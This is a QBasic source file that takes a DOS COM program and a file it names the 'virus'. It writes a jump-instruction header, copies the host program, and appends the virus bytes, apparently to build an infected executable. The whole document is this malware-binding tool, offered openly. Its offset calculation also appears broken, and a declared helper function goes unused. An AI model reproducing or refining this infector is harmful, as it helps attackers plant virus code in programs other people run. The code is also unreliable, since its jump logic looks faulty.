1: DECLARE FUNCTION Dec! (hx$) 2: DIM dd AS STRING * 1 3: CLS 4: PRINT "All files must be COM files!" 5: INPUT "In Filename"; f$ 6: INPUT "Out Filename"; of$ 7: INPUT "Virus Filename"; vf$ 8: IF f$ = "" OR of$ = "" THEN END 9: IF vf$ = "" THEN v = -1 10: OPEN f$ FOR BINARY AS #1 11: OPEN of$ FOR BINARY AS #2 12: IF v = -1 THEN ELSE OPEN vf$ FOR BINARY AS #3 13: oo$ = "" 14: fs = LOF(1) + LEN(LTRIM$(RTRIM$(STR$(LOF(1))))) - 1 15: oo$ = "" 16: mm$ = UCASE$(RTRIM$(LTRIM$(STR$(fs - 1)))) 17: FOR q = LEN(mm$) + 1 TO 1 STEP -2 18: IF VAL(MID$(mm$, q, 2)) = 0 THEN GOTO 2 19: oo$ = oo$ + CHR$(VAL(MID$(mm$, q, 2))) 20: 2 NEXT q 21: Hdr$ = "é" + oo$ 22: FOR e = 1 TO LEN(Hdr$) 23: ff$ = MID$(Hdr$, e, 1) 24: PUT #2, , ff$ 25: NEXT e 26: FOR mm = 1 TO LOF(1) 27: GET #1, mm, dd 28: PUT #2, , dd 29: dd = "" 30: NEXT mm 31: dd = "" 32: IF v = -1 THEN CLOSE 1, 2, 3: END 33: FOR m2 = 1 TO LOF(3) 34: GET #3, m2, dd 35: PUT #2, , dd 36: dd = "" 37: NEXT m2 38: CLOSE 1, 2 39: 40: FUNCTION Dec (hx$) 41: FOR lq = 0 TO 255 42: ma$ = HEX$(lq) 43: IF LEN(ma$) = 1 THEN ma$ = "0" + ma$ 44: IF LEN(ma$) = 3 THEN ma$ = "0" + ma$ 45: IF LEN(ma$) = 5 THEN ma$ = "0" + ma$ 46: IF UCASE$(ma$) = UCASE$(hx$) THEN Dec = lq 47: NEXT lq 48: END FUNCTION 49: |